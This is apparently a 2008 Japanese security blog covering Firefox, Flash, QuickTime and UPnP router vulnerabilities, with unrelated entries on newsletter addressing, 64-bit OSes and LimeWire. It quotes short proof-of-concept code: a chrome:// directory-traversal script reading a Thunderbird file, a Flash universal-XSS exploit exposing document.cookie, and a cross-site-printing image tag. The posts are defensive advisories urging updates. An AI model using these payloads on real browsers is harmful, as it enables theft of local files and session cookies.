Firefox chrome: URL Handling Directory Traversal

Firefox chrome: URL Handling Directory Traversal

前回のエントリでFirefoxの利用をお勧めしているので未パッチのFirefoxの脆弱性を紹介しておきます。

Firefox chrome: URL Handling Directory Traversalにchromeがディレクトリ遷移攻撃に脆弱だとレポートされています。

この脆弱性を用いるとシステム内のファイルを盗まれる可能性があります。(追記に書きましたが、正確にはJavaScriptとして読み取れる必要があります。コードを見ると判りますが、JSON形式のデータファイル, prefs.js等が読みとられる可能性があります。)PoCとしてWindows上のThunderbirdのall.jsを取得するコードが公開されています。

<script>pref = function(x, y){document.write(x + ‘ -> ‘ + y + ‘<br>’);};</script>
<scriptsrc=’chrome://downbar/content/%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%
2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.js’>
</script>

悪意のあるメール、ページには注意が必要です。この種の例は多数あります。Firefoxの脆弱性だけでなくFlash, Adobe Reader, QuickTime, RealPlayerが代表例です。NoScriptは必須の拡張だと言えると思います。

ところで、このようなクライアント側の脆弱性はWeb開発者には関係ない、と考えた方はいないでしょうか?このFirefoxの脆弱性ではセッションIDを盗む事はできませんが、セッションIDを盗める脆弱性もあるのです。昨年末見つかったFlashのUnversal XSS脆弱性などは最悪の部類です。

セッションIDは神経質過ぎるくらいに管理した方が良いと考えています。セミナーなどで「セッション管理は必ずセッションクッキーを使うこと」と繰り返し説明しています。もし有効期限を設定したクッキーを利用している場合、簡単にセッションIDが盗めます。セキュアなWebアプリ作りには定石があります。「セッション管理は必ずセッションクッキーを使う」は基本の中の基本です。しかし、この基本に従っていないアプリケーションも多数あります。この様なアプリケーションの場合、ユーザのセッションIDを盗まれ成りすましによる攻撃を受ける可能性があります。

フレームワークを使っているから安全、などと言うことはありません。普通のフレームワークはセッション管理に利用するクッキーの有効期限は設定可能になっているからです。Webアプリ構築はサーバ側だけでなくクライアント側の問題も考えて作らなければ安全性を維持できません。

追記:
ITMediaに関連記事が載っていました。
http://www.itmedia.co.jp/news/articles/0801/24/news014.html

PoCの見ると関数をオーバーライドして情報を取得しているのでJavaScript形式で書かれた設定ファイルでないと読み取れない。JSONのデータをCSRFで盗むのと同じ要領です。データがJavaScriptとして読み出せるファイルだけしか読みこむ事ができません。FirefoxもThunderbirdもパスワードはDBだったかな? grepしてみた限りでは特に読まれて直ぐに危険、というjsファイルはありませんでした。

一般ユーザは拡張がjarなのかそうでないのか等、気にしていないし気づく事はまずありません。jarにして問題解決ならjarにしないと読めない仕様に変更すれば良いと思います。

ちょっとずつ編集していたら結構いい加減な事を書いていたので修正しました。

FTPとCPanelユーザはクラッキングに注意が必要

Hack Attack Hits 10,000 Web Sitesによると自動化された攻撃で10000以上のサイトがブラウザやブラウザプラグインの脆弱性を攻撃するコードをホスティングさせられているそうです。

この攻撃はFTPとCPanelのパスワードをブルートフォース方式で解析、ログインできたサイトに自動的に攻撃コードを埋め込むようになっているそうです。攻撃を受けマルウェア配布に利用されているサイト管理者の多くは攻撃自体に気づいていないとしています。

自動化されているので日本語のサイトであることなど関係無しに攻撃される可能性があります。予測しやすいパスワードを利用されている方はすぐに予測できないパスワードに変更されることをお勧めします。

記事には常に変わるJavaScriptを生成するファイルが埋め込まれる、

Those servers have been infected with a pair of files that generate constantly-changing malicious JavaScript.

と書いてありますがさすがに攻撃コード自体を変更するのは難しいと思います。恐らくダウンローダーへアクセスするJavaScriptが動的に生成されているのだと思います。

どのような攻撃が考えられるか参考になるリンク

Death by iFrame
http://www.cio.com/article/135452

これを読むとマルウェアをホスティングさせられたサイトがどのように利用されるか解ると思います。
# 予想なので違っているかも知れません。
# 間違っていたら教えてください。

関連記事
Legitimate sites serving up stealthy attacks
http://www.securityfocus.com/news/11501
Attackers favor compromise over creation
http://www.securityfocus.com/brief/667
Most malware comes from legit sites, says researcher – 51% of sites spreading malicious code have been hacked
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9058599&intsrc=hm_list

攻撃に成功するとPCはボットネットに組み込まれます。この攻撃から自分(ブラウザのユーザ)を守るには

  • ブラウザとプラグインを最新版にする(脆弱性がないバージョンを利用する)
  • FirefoxにNoScript拡張をインストールして利用する(信頼しないサイトではiframeを無効にする)

の両方を併用することが望ましいと思います。Flash, QuickTime, RealPlayer, Adobe Readerは最低限チェックすべきプラグインです。アプリケーションが勝手にプラグイン(プロトコルハンドラも)をインストールしている場合もあるので要注意です。

上記の対策だけでは心配なので以下のチェックもする方が良いと思います。

  • Windowsを安全な状態にする(Microsoft Updateで最新版の状態にする)
  • 無闇にサイトを信頼しない(特に個人運営サイト)
  • その他のアプリケーションも脆弱性があるバージョンはすべて更新する

個人運営サイトでなくてもホスティングサービスを利用しているサイト等ではリスクはあります。似たような攻撃ならガジェットを利用しているWebサイトでも可能です。したがってガジェットを利用しているサイトにも注意が必要です。

セキュリティアップデートに敏感なユーザでも脆弱性があるプログラムの更新を忘れている事は非常に多いようです。脆弱性情報サイトとして有名なSecuniaのPSI(Personal Security Inspector)のベータテスト、100万ユーザから得られたデータによると、95%のPCに既知の脆弱性があるプログラムがインストールされていたそうです。PSIをインストールするユーザはセキュリティアップデートには敏感なユーザと考えられますが、95%つまり100万PCのうち95万のPCには何らかの既知の脆弱性があるプログラムがインストールされていた事になります。これには驚きです。

責任あるDM送信者はどのようにメールを送信すべきか

少し前のエントリ、宛先を個人のメールアドレスに設定しているメルマガは迷惑メールに!の続きです。DM業者はどのようにメールを送信すべきか考えました。

これから書く考えはDM送信側ではなく、DM受信側の視点から考えています。

メールの種類

まず簡単にメールを分類します。受信者から見ると

  • 自分のアクションが必要な個人宛メール – 問い合わせ、確認等。
  • 経緯などを知らせるだけアクションが不必要なメール – 通知、記録等。
  • 情報系のメール – メルマガ、ニュース等。
  • スパムメール – 勝手に送ってる迷惑メール。

に分類できると思います。

受信する側から見るとそれぞれ適切であると思われる送付先アドレス設定は次の通りでしょう。

  • 自分のアクションが必要な個人宛メール – To: 個人メールアドレス
  • 経緯などを知らせるだけでアクションが不必要なメール – CC: 個人メールアドレス または BCC: 個人メールアドレス
  • 情報系のメール – To: MLまたは発行者のアドレス
  • スパムメール – 迷惑メールなので To: 個人メールアドレス でしょう

自分のアクションが必要な個人宛メール

基本的にプライベートなメール、自分のアクションが必要なメール、必ず目を通しておきたいメールです。ショッピングサイトからのメールでも「受注確認」は確認してもし自分からの注文で無い場合は「キャンセル」というアクションが必要です。この様な場合はToに個人アドレスを設定するのは当然だと思います。

アクションの必要なメールがCC、Bcc、送信元のアドレス宛で送信されてきたら困ります。

経緯などを知らせるだけでアクションが不必要なメール

基本的にプライベートなメールです。自分に経緯を連絡するCCに個人アドレスが載っているのは当然でしょう。特にアクションは必要ないが目を通すだけは通しておいて、といった場合に使う為に用意されています。

皆さんご存知とは思いますがCCとはカーボンコピーの略です。申込書等で1枚目を書くと2枚目、3枚目に写せる紙がありますが写したコピーが「カーボンコピー」です。CCとは写しを意味します。BCCとはブラインドカーボンコピーの略です。ブラインド、つまり見えないカーボンコピーの事です。メールを送信先(To)やカーボンコピー(CC)で送信したユーザに見えない様に送信するメールアドレスを設定します。

情報系のメール

非プライベートなメールです。MLやネットショップのメルマガ、ニュースサイトのメールなどがこの分類のメールになります。これらのメールは個人宛でなく、メルマガや発行者のメールアドレス宛になっている方が受信側にとって便利です。

ネットショップやニュースサイトのメールは「送信者」からするとアクション(広告クリック、商品購入)を取ってほしいメールですが、受信者からみると単なる情報メールです。個人宛に送られてきても何か必ずアクションを取る必要があるメールではありません。

スパムメール

元々スパムなので勝手に何でもするのがスパムメールです。最も効果が高いと期待できる個人宛にメールを送信するのは当然でしょう。まっとうな事業者はスパムメールの真似をする必要はありません。

どう送信すると受信側が便利か?

To, Ccに自分のメールアドレスが設定されているメール全てが個人用のプライベートなメールだと受信者は管理が容易になります。

DMを送信する場合、受信側の立場になってアクションが必要なメールかどうか判断して、個人宛とそれ以外に区別するのが理想的だと思います。しかし、個人的な好みの問題もあるので送信先アドレスを

  • 発行者のアドレス
  • 受信者のアドレス

のどちらかから選べるようにすれば良いと思います。

ネットショップなどの場合でも、受注確認などのメールは個人宛、利用して頂いたお客様に対して広告メールを送信する場合は非個人宛をデフォルトとして送信すると受信者側は非常に便利です。

もし全ての事業者が上記の方法でメールを送信するような状況なれば、個人宛(To, CC)に送信されるメールは必要なメールとスパムメールだけになります。

DM送信先を非個人宛にするメリット

一昔前はメールの振り分けがよく行われてきましたが、現在では減少傾向にあるのではないかと思っています。GMailの場合、メールは振り分けでなくフィルタで検索するようになっています。フィルタは振り分けと同じような動作をします。しかし、振り分けとフィルタでは大きな違いがあります。フィルタの場合は常に受信したメール全体が検索対象になります。

GMailの様なシステムでは to: yohgaki@ohgaki.net でフィルタを作成すると個人宛のメールが全部表示されます。

個人宛のメールがバルクメール(不特定多数向けに送信されたメール)であふれると不必要なメールに「迷惑メールを報告」ボタンを押して消してしまうユーザが多数いても不思議ではありません。

DM送信先を個人宛にしなければ迷惑メールとして処理されてしまう可能性を少なくできます。

メルマガを発行者アドレス宛に送信するのは発行者に不利益があるか?

メール利用者には幾つかの段階があると思います。

  1. メールを始めたばかりで振り分けなし
  2. 自分宛のメールとそれ以外に振り分ける
  3. 宛先、送信者、などから更に細かく振り分ける
  4. 振り分け自体が面倒になり振り分けなくなる
  5. メールを読むのが面倒になり以前ほど使わなくなる
  6. 迷惑メール(DM含む)が多くなり別のメールアドレスに変える

これ以外に、「捨てアド」を使う、「目的別アドレス」を使う、などの道もあります。

メルマガなどのバルクメールを送信する方にとって、1の段階のユーザにはどのような送信先であっても不利益を得る事はないはずです。2と3の段階のユーザであれば個人宛にメールを送信しないことにより不利益を得る可能性があります。私は現在4の段階ですが、この状態になると個人宛のメルマガ系のメールが非常に鬱陶しいです。実際、一部のメルマガ系のメールは迷惑メールとして処理しています。

不利益となるどうかは各段階のユーザ比率とユーザのサービス利用率で決まると思われます。正直な予想を書くと、送信先を個人宛から発行者アドレス等に変更するとDM送信者がメールから得られる利益は減少すると思います。

責任ある企業としてのメール送信の仕方

普通の企業はスパマーではありません。企業の姿勢としてメール受信者(お客様)の立場に立ってメールを送信するようにしてほしいです。たとえ広告収入が主体のメールであっても、広告をクリックしてくれるユーザを単なるメール受信者として扱うのではなく、お客様として扱ってほしいです。

普通の企業が受信者の立場でメールを送っていたなら「捨てアド」などが一般化する事もなかったかも知れません。しかし、現状は残念ながら大手であっても限りなくスパムメールに近い方法、と言われても仕方ない方法でメールを送信しているケースは少なくありません。

特に大手企業には「儲かりさえすれば良い」等と考えず、お客様の利便性(と安全性)を第一に考えたWebサイトやメールの使い方をして見本を示してほしいです。

短期的に多少の不利益があっても、誰もが認めるお客様本意のサービスを行う事は長期的に企業の利益となるのではないでしょうか。

DMにぜひ付けてほしい機能

  • ワンクリック購読解除リンク
  • ワンクリック送信先変更リンク

システム構成にもよりますが、どちらの機能もそれほど正しく実装すれば大掛かりな仕組みは必要ありません。リクエストが本人からかハッシュでシグニチャを確認すれば良いだけです。データベースを利用する方法やクッキーを利用する方法も考えられます。もし実装したい方でどういうことか分からない場合はコメントください。

文字エンコーディングを利用したSQLインジェクション

PHPのSQLインジェクションを実体験
http://www.thinkit.co.jp/free/article/0801/5/2/
を書かせて頂きました。この文字エンコーディングを利用した攻撃は古い脆弱性です。知っている方なら2年以上前からよくご存知とは思います。

記事のタイトル通り、文字エンコーディングを利用したSQLインジェクションを実体験できます。ご興味のある方、まだご存知でない方はぜひご覧ください。

万が一、文字エンコーディングベースの攻撃に未対策で攻撃される可能性のある方はできるだけ早く対策することをお勧めします。

UPnPルータ+Flash=深刻なセキュリティ問題

GNUCITIZENは重要なセキュリティ問題を次々に公開しているのでセキュリティに興味がある方はチェックしているのでご存知とは思いますが、

Hacking The Interwebs
http://www.gnucitizen.org/blog/hacking-the-interwebs

に非常には深刻なセキュリティ問題が解説してあります。具体的な攻撃方法などはGNUCITIZENを参照してください。日本でもいろいろ書かれるかな、と思っていたのですが予想より少ないのでブログに書くことにします。ここでは重要な部分だけ要約して書きます。

攻撃

Flashを利用したUPnPルータの攻撃シナリオは以下になります。

  • UPnPが有効なルータがある
  • 悪意のあるFlashをWebブラウザで参照する
  • UPnPルータの設定を変更するSOAPリクエストをFlashが送信する
  • UPnPルータで可能なルータ設定が変更される(乗っ取られる)

UPnPによるポートフォワード設定等には認証は必要ありません。Flashのセキュリティ脆弱性も必要ありません。ポートフォワード設定だけでも十分致命的ですが、DNSサーバ設定が変更されるとセキュリティ上致命的な問題です。

対策

UPnPルータへの攻撃を効果的に防ぐには

  • ルータのUPnP機能を無効にする

しかありません。

FAQ

http://www.gnucitizen.org/blog/flash-upnp-attack-faq
から抜粋&要約

  • Flashを表示するだけで攻撃される? – はい
  • Flashの脆弱性に依存しているか? – いいえ
  • Flashのバージョンに依存しているか? – いいえ
  • 最新のUPnPルータなら安全? – いいえ
  • UPnPはデフォルト有効か? – はい。ほとんど全てのSOHOルータの初期設定として有効
  • UPnPは無効にできる? – はい。無効にしてください
  • Flashをアンインストールすれば安全? – いいえ。他の方法で攻撃される可能性がある。
  • どれくらい危険? – 非常に深刻です。UPnPを無効にしてください

備考

UPnPは必要か?というと一般的なユーザであればUPnPが無効でも困ることは無いはずです。

困るかもしれないユーザは

  • ネットゲームを利用しているユーザ
  • P2Pを利用しているユーザ

が考えられます。他にもあるかも知れません。

参考URL

http://www.gnucitizen.org/blog/hacking-the-interwebs
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5
http://www.gnucitizen.org/blog/flash-upnp-attack-faq
http://it.slashdot.org/article.pl?sid=08/01/14/1319256

宛先を個人のメールアドレスに設定しているメルマガは迷惑メールに!

追記:
いろいろ異論がある事は分かっていながら書きましたが、ぼんやりと考えていた事は正確には伝わっていないと思います。このエントリの続きとして責任あるDM送信者はどのようにメールを送信すべきかを書きました。こちらの方が分かりやすいと思います。要はスパマーでないDM送信側は受信側にもっと配慮すべきだと考えています。その方が両方にとって利益になると考えています。

「迷惑メールを報告」ボタンを押させるな!
http://japan.internet.com/wmnews/20080116/7.html

によると以下が読者によって迷惑メールとして処理されてしまう代表的な原因としています。

1. 配信頻度が読者の忍耐を超えている頻度になっている
2. 内容に魅力を感じなくなり飽きている
3. 内容がミスマッチを起こしている
4. 第一印象のメルマガレイアウトが読む気をなくしている
5. 求めていないセールスプロモーションのメールである
6. 価値を感じないセールスメルマガである
7. 登録時に期待していた内容のメルマガではなかった

 

個人的にはTo(宛先)が自分のメールアドレスになっているメーリングリスト・メルマガが最も迷惑です。

7,8年前はメーリングリストであれば宛先にはメールリストのアドレスが記載されているのが当たり前でした。確か4,5年前くらいから宛先を個人アドレスに設定したメールリストが急増し、現在は当たり前になってしまいました。メールクライアントを使い始めたばかりのユーザでも「自分宛」、「自分にCC」、「それ以外」くらいは自動振り分けしているので、「自分宛」として送信した方が読まれる確率が高くなるのは当たり前です。

メルマガの内容など、読んでも読まなくてもよいDMと同じです。それを送り手側の勝手な意図で「個人宛」として送るのは非常に迷惑です。親展でもないのに親展とDMに書いて送っているような物です。

親展(しんてん)(英:confidential letter; private)とは、封書などにおいて、宛名となっている本人が自分で封を切って読んでほしいという意味またはそのような扱いのことである。

http://ja.wikipedia.org/wiki/%E8%A6%AA%E5%B1%95

郵便のDMもかなりの数が送られてきますが、さすがに親展でもないのに親展と書いてるDMはほとんど記憶にありません。読んだ側に「何これ?タダのDMじゃないか!」と不快に思われ逆効果だと考えているからではないでしょうか?

メーリングリスト/メルマガが個人のメールアドレス宛に送信されるのは非常に迷惑だ常々感じていました。今まで自分宛の不必要なメルマガはメールクライアントで迷惑メールとして処理させてきました。

状況を少しでも改善するために、今後Google,Yahoo,Hotmailなどの個人アドレスにメルマガを送信してきた場合は全て迷惑メールとして報告する事にします。

今や小手先のメルマガ編集方法だけでは読者の心を捕まえることができない。基本に戻ると「何が大切か」が見えてくる。

個人宛に送信するのは「小手先」テクニックの典型例だと思います。「迷惑メールを報告」ボタンを押させるな!のリストに載っていないのが残念です。

FreeBSD7はPostgreSQL, MySQLユーザにとって救いになるか?

クリックして7.0%20Preview.pdfにアクセス

にFreeBSD7上でのPostgreSQLとMySQLのベンチマークが載っています。

PostgreSQL 8.2.4 – 11ページ

ピーク性能でおよそ5400transactions/secほど。

MySQL 5.0.45 – 15ページ

ピーク性能でおよそ3800transactions/secほど。

Kernelの主要な部分すべてがパラレルに動作するようになったため、かなり高速(数値にして数倍)になったようです。

グラフからもPostgreSQLの方がかなり良い性能であることが分かりますが、PDFファイル(16ページ)によると

On this benchmark PostgreSQL is 35% – 45% faster thanMySQL at all loads

とPostgreSQLの方が全般的に良い性能だったそうです。PostgreSQL 8.3は確実に8.2よりもさらに良い性能を期待できると思います。MySQLも5.1や6.0を利用した方が良い性能が期待できるのかも知れません。

このPDFのベンチマークはデータベースの性能を計る為のベンチマークではなく、OSの性能を計る為のベンチマークです。データベースサーバ設定、SQL文やテーブル構成などが不明なのでデータベースの性能のベンチマークとしては参考値くらいでしかありません。MySQLのテストではMyISAMを使っていると思われますが、MyISAMならこれくらいの性能差は普通です。

またQuickTime…

QuickTime関連の脆弱性多さは非常に目につきます。また見つかったようです。

http://www.milw0rm.com/exploits/4885

During my tests I have been able to fully overwrite the return address
anyway note that the visible effects of the vulnerability could change
during the usage of the debugger (in attaching mode it’s everything
ok).

と書いてあるので任意コード実行が可能です。

======
4) Fix
======

No fix

0dayらしいので不必要に「rtsp://」は開かない事…

Cross Site Printing

クロスサイトスクリプティングと同じ要領でネットワークプリンタに接続して印刷してしまう「Cross Site Printing」と呼ばれている手法が公開されています。

<img src=”myprinter:9100/Print_from_the_web”>

ポート9100でネットワークプリンタが印刷できる状態で待機しているので印刷できてしまいます。クロスサイトリクエストフォージェリと同じようなもの、と言った方が分かりやすいかも知れません。PDFにはFAXの送信方法も記載されています。
Cross Site Printingの仕組みは単純ですが根本的な対策は簡単ではありません。

2008年急速に普及する物

年末ということで来年の予測を一つ。2008年急速に普及すると思われる物は64bit版OSだと思います。

メモリが急速に安くなってきており8GB程度のメモリが搭載できるPCであれば安価に購入できます。32bit版Windows/Linuxでは多くのメモリを搭載しても3.1GBから3.6GB程度のメモリしか利用できません。メモリを多く積んだPCを使い切るには64bit版のOSが必須になります。

普通にPCを利用するなら2GB程度のメモリがあれば困る事はほとんど無いはずです。多くのメモリを何に使うかというと仮想環境です。仮想環境などを利用する場合にはメモリを多く搭載していた方が圧倒的に有利です。仮想環境を快適に使うには最低でも3GBのメモリがあった方が良いと思います。複数の仮想環境を実行するなら8GBのメモリでも十分使い切る事ができます。

64bit版Windowsの場合、デバイスドライバの問題があるので急速に多数を占めるような事は無いと考えられますが、現在のように「誰が使っているの?」と思えるほどの少数派では無くなると思います。仮想環境のホストOSは64bit版、ゲストOSは32bit版などと使い分ける方が増えるだろうと考えています。

64bit版Linuxの場合、新たにOSを購入する必要もないので64bit版への移行はあまり敷居が高くありません。FlashPlayerさえ用意されれば移行するユーザが多くなると思います。64bit版のFlashPlayerが無い場合でもVMWare Playerで実行できる32bit版のイメージがそのままダウンロードできるディストリビューションも少なくありません。(OS丸ごとダウンロードするする場合はくれぐれも信頼できるソースのイメージをダウンロードするように注意してください)数年前であれば64bit環境への移行はあまりお勧めできる選択肢ではありませんでしたが今は十分お勧めできる状況です。Linuxユーザの場合、64bit環境への移行は簡単と言えます。
# PAEをサポートしたカーネルなら4GB以上のメモリも利用できます。
# MomongaLinuxの場合、別カーネルとして提供されていますが、
# ディストリビューションによっては自分でビルドしなければ
# ならないと思います。

Mac OSXには64bit版はありません。OSXは元々64bit OSで32bitのアプリケーションもシームレスに実行できます。OSXユーザは64bit環境に移行する必要はありません。あまり意識される事がなかったMac OSXの優れた部分ですが2008年は注目される利点として改めて紹介される事になるかも知れません。

最後にこれを機に64bit版Vistaにアップグレード方が戸惑わない為のTipsを一つ書きます。(32bit版でも同じです)VistaにはUAC(User Access Control)が追加されているので注意が必要です。 「UACを有効にしているとマトモにつかえない」と感想を持たれている方も少なくないかも知れません。これはUACによる「管理者権限で実行オプションを表示するダイアログで実行」した場合と、「本当の管理者アカウントで実行」した場合の結果が異なる事が大きな原因の一ではないかと思います。

例えば、UACで「管理者権限で実行」してもhostsファイル等の変更はそのユーザがログインしている間だけの変更され、再度ログインすればhostsファイルは元通りに復元されます。これはウィルス等がhostsファイルを改ざんし定義ファイルの更新を防ぐ事を防止する為の措置です。UACが有効な場合、WindowsディレクトリのみでなくProgram Filesディレクトリやレジストリも保護されます。UNIX系OSのユーザは管理者ユーザと別に通常ユーザを作成して通常ユーザの方を常用するアカウントとして利用すると思います。通常ユーザではセキュリティ上の理由から予想しづらい保護機能が働いて『何故??』となってしまう事が予想されます。Vistaで管理者が行うべき作業を実行する場合は「本当の管理者アカウント」でログインして実行するようにします。

ついでにもう一つ。ドメインに参加しているPCの場合、ドメインの管理者アカウントでないと保護機能が働きます。ドメインに参加している場合、必ずドメイン管理者としてログインしてから作業しましょう。

# これらのセキュリティ機能は非常に有用だと思いますが
# Vista不人気の原因でもあるので将来無効化されそうで
# 心配です。

最後にメモリ増設で8GB積もうと考えている方は以下のURLを参考にしてください。
http://pc.watch.impress.co.jp/docs/2007/1127/hot517.htm

安全にInternet(ブラウザ)を利用する為のTips

一般的なユーザはインターネットを利用する場合のリスクを十分理解していない場合が多いと思います。コンピュータに詳しくない方が、より安全に利用する為のTipsを考えてみました。

  • 常に最新バージョンのブラウザを利用する
  • 常に最新バージョンのブラグインを利用する
  • JavaScript/プラグインを無効にする
  • ブラウザにインストールする拡張機能(プラグイン)は最小限にする
  • 仮想環境でブラウザを利用する
  • ログアウトする
  • ブラウザを終了させる
  • 管理者権限を持たないユーザでログインする
  • ブラウザとプラグイン以外のアプリケーションも最新版を利用する
  • 信用できそうなサイトもできるだけ信用しない
  • インターネットからダウンロードしたアプリ、プラグイン、コーデック、ドライバ等をインストールしない
  • サイト毎に別のパスワードを設定する
  • 文字エンコーディングの自動認識を無効化する
  • インターネットからダウンロードした出所が不明なドキュメントは開かない

ここに書いている対策は実際に自分も行っている対策なので、コンピュータに詳しくない方が全て実行するのは難しいとは思います。できる部分だけでも実行すると良いでしょう。

他にもコレ、といった対策/注意点があったら教えてください。

もっと読む

Internetに接続されたPCの1/3はLimeWireをインストールしている!?

eMediaWireに掲載されていたレポートによると「Internetに接続されているPCの3台に1台はLimeWireをインストールしている」としています。

File-sharing application LimeWire is now found on more than one-third of all PCs worldwide, according to research jointly published by Digital Music News and BigChampagne. The companies surveyed more than 1.5 million systems for this report.

http://www.emediawire.com/releases/2007/12/emw576418.htm

米国だけの話かと思ったのですが

one-third of all PCs worldwide

LimeWire was found on 36.4% of all PCs, a figure gleaned from a global canvass of roughly 1.66 million desktops.

と世界中の166万台のPCが対象だそうです。少なくとも日本国内のPCでLimeWireがインストールされているPCは非常に少ないと思います。

米国で1/3ならまだしも、世界中で1/3のPCにLimeWireがインストールされている、とするのは少々大げさな気がします。母集団にかなりの偏りがあるのではないかと思います。母集団の偏りは別にしても166万台のうちの60万台ほどのPCにLimeWireがインストールされていたのが事実だとすると驚きです。

米国ではP2P問題は基本的に著作権問題としてして取り扱われ、音楽ファイル等を公開していた個人に対して数千万円の損害賠償請求を認める判決もでています。アメリカの議会ではP2Pネットワークによるファイル共有が国防上の問題として取り上げられていたりします。

一方日本では暴露ウィルスによるファイル流出だけが大きな問題とされ、本質的な問題の議論や理解が進んでいないように感じます。

プログラムのセキュリティ対策と同じで情報を発信する側と受け取る側、両方に効果的な対策が必要だと思います。現在受け取る側の規制としてファイルをダウンロード行為自体を違法とするか議論がされていますが、それよりもまず違法なコンテンツを発信する側に高額な損害賠償金を請求可能にするなどの措置が先に行われるべきだと思います。

参考:
http://arstechnica.com/news.ars/post/20071227-one-third-of-pcs-prefer-limewire.html
http://ja.wikipedia.org/wiki/LimeWire

さすがに1/3と言うのは大げさ過ぎると思い昨年末に書いたこのエントリはお蔵入していました。別の統計を見つけたので公開しました。

http://internet.watch.impress.co.jp/cda/news/2008/01/23/18207.html
これによると

これに対してGnutella互換サーバントは世界的に多く分布しており、中でも米国が約175万ノードで49%を占める。ヨーロッパ各国も約23%と多かった。日本でも約10万9,000ノードあった。

となっています。米国でもたった175万ノードなら「1/3のPCにLimeWireがインストールされている」のは大げさな数値になります。母集団に問題、例えば大学生のPCだけ調べた等、であれば納得できるかも知れない数値ではありますが…

追記

最大のP2PネットワークはThePrivateBay
だそうです。

このブログのIE6でのレイアウトの崩れを修正

一応IE6/IE7でこのブログを自分で見た事があるのですがオーバーフローが発生した場合のページを見ていませんでした。b2evolutionに付属してきたevopressテンプレートのスタイルシートをそのまま使用しているのですがIE6でIE6/Firefox/Opera等と同等に表示するためにblockquoteのCSS定義に

width: 400px;
overflow: hidden;

追加しました。IE6の方は一つ前のエントリなどは非常に読みづらかったと思います…
# 今使っているのは2.2.0Beta版なので多少の不具合は仕方ないです。

時間があれば自分でスタイルシートを確認したいところですが当分その時間がとれそうにないです。問題があったらぜひ教えてください。下のContactリンクからWebフォームから送信できます。

Flash Playerは即刻アップデート!

Flash Playerに深刻な脆弱性(簡単に他所のサイトのアカウントが乗っ取れる脆弱性と他の脆弱性)がありアップデートがリリースされています。

悪意のあるSWFファイルを読み込ませることによって脆弱性を悪用することができ、攻撃が成功すればシステムを乗っ取ることも可能だという。

http://internet.watch.impress.co.jp/cda/news/2007/12/20/17964.html

ここまでしか読まなければかなり控えめな表現であることが分かります。後半の方まで読むとエンジニアであれば理解できる書き方になっています。

Flash Playerにはクロスドメインポリシーファイルの扱いに関する脆弱性が存在しているという。その結果、細工を施されたWebページによって、サイトのクロスドメインポリシーが迂回される可能性があり、サイト管理者の意図に反してデータがアクセスされる可能性があるとしている。このほか、任意のHTTP ヘッダが送信可能な脆弱性も存在するという。

あまり素人向けの解説とは言えないかも知れません。Watchなのでこれでも良いのかも知れませんが。

Securiteamの記事は最初の方に重要な事が書いてあるので分かりやすいです。

This vulnerability allows remote attackers to run arbitrary JavaScript code in the security context of other domains,

http://www.securiteam.com/securitynews/6E00L00KKC.html

Universal Cross Site Scriptingと呼ばれるタイプの非常に危険な脆弱性です。別の言い方をすると他所のドメインのクッキーを自由に盗める脆弱性です。悪意のあるフラッシュを実行するとログイン状態にあるサイトのアカウントを乗っ取られる可能性があります。

しかもこの脆弱性の攻撃は非常に簡単です。元ネタのStanford大のページ、Securiteamのサイトには攻撃方法が記載されています。

Exploit:
package {
  import flash.display.Sprite;
  import flash.net.*;
  import flash.utils.*;

  public class uxssdemo extends Sprite {
    public function uxssdemo() {
      setTimeout(DoAttack, 1000);
    }

    public function DoAttack():void {
      var request:URLRequest =
          new URLRequest('javascript:alert("Cookie: "+document.cookie+"\\n\\nContent: \\n\\n" + document.lastChild.innerHTML);window.close();');
      navigateToURL(request, 'tg');
    }
  }
}

Flashをよく知らない人でも簡単に攻撃できます。もしまだアップグレードしていない方は即刻Flash Playerをアップグレードした方がよいです。

Adobeのセキュリティ情報
http://www.adobe.com/support/security/bulletins/apsb07-20.html

Flashのダウンロードページ
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash

Flashのバージョンチェック
http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_15507

クロスサイトスクリプティングを防ぐための10のTips

クロスサイトスクリプティングを防ぐための10のTipsをgihyo.jpのブログに載せました。

Webサーバの設定になるので書いてませんがApacheなどでも明示的に文字エンコーディングを指定した方が、誤って違った文字エンコーディングで静的コンテンツを書いてしまった場合でも分かるのでよいと思います。

AddDefaultCharset utf-8

などとhttpd.conf/仮想ホストの設定ファイル、.htaccessなどに記述すると静的なコンテンツにも文字エンコーディングをHTTPヘッダレベルで指定できます。

あまりやらないと思いますが11番目を追加するなら「VBScriptを動的に生成する場合に注意を払う」あたりだと思います。